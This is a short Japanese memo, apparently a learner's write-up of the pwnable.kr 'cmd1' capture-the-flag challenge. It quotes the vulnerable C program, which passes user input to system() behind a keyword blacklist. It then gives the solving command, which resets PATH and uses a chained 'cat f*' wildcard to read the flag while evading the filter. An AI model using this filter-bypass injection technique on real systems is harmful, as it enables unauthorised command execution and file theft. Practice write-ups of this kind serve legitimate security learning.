pwnable kr cmd1 メモ
解法
#include <stdio.h> #include <string.h> int filter(char* cmd){ int r=0; r += strstr(cmd, "flag")!=0; r += strstr(cmd, "sh")!=0; r += strstr(cmd, "tmp")!=0; return r; } int main(int argc, char* argv[], char** envp){ putenv("PATH=/fuckyouverymuch"); if(filter(argv[1])) return 0; system( argv[1] ); return 0; }
サーバーに置かれているプログラムは上の通り。putenvで、環境変数のPATHが上書きされてしまっているので、catが使えなくなってしまっている。
cmd1@ubuntu:~$ ./cmd1 export export HOME='/home/cmd1' export LANG='en_US.UTF-8' export LANGUAGE='en_US:' export LOGNAME='cmd1' export MAIL='/var/mail/cmd1' export PATH='/fuckyouverymuch' export PWD='/home/cmd1' export SHELL='/bin/bash' export SHLVL='1' export SSH_CLIENT='211.1.200.141 49755 22' export SSH_CONNECTION='211.1.200.141 49755 192.168.1.186 22' export SSH_TTY='/dev/pts/10' export TERM='xterm-256color' export USER='cmd1' export XDG_RUNTIME_DIR='/run/user/1025' export XDG_SESSION_ID='4735' export _='./cmd1'
そこで、
./cmd1 "export PATH=/bin"
として、PATHを上書きすることをする。
""で囲んでいるのは、空白で引数を分けないようにするため。
PATHを書き換えたあとは、cat flagをおこなえばよいが、filterで弾かれてしまうので、cat f*で逃げる。
./cmd1 "export PATH=/bin; cat f*"
;で区切っているのでは、
コマンド1; コマンド2 コマンド1を終了したら、結果に関わらずコマンド2を実行 を意味する。
ミス
Linuxの知識がない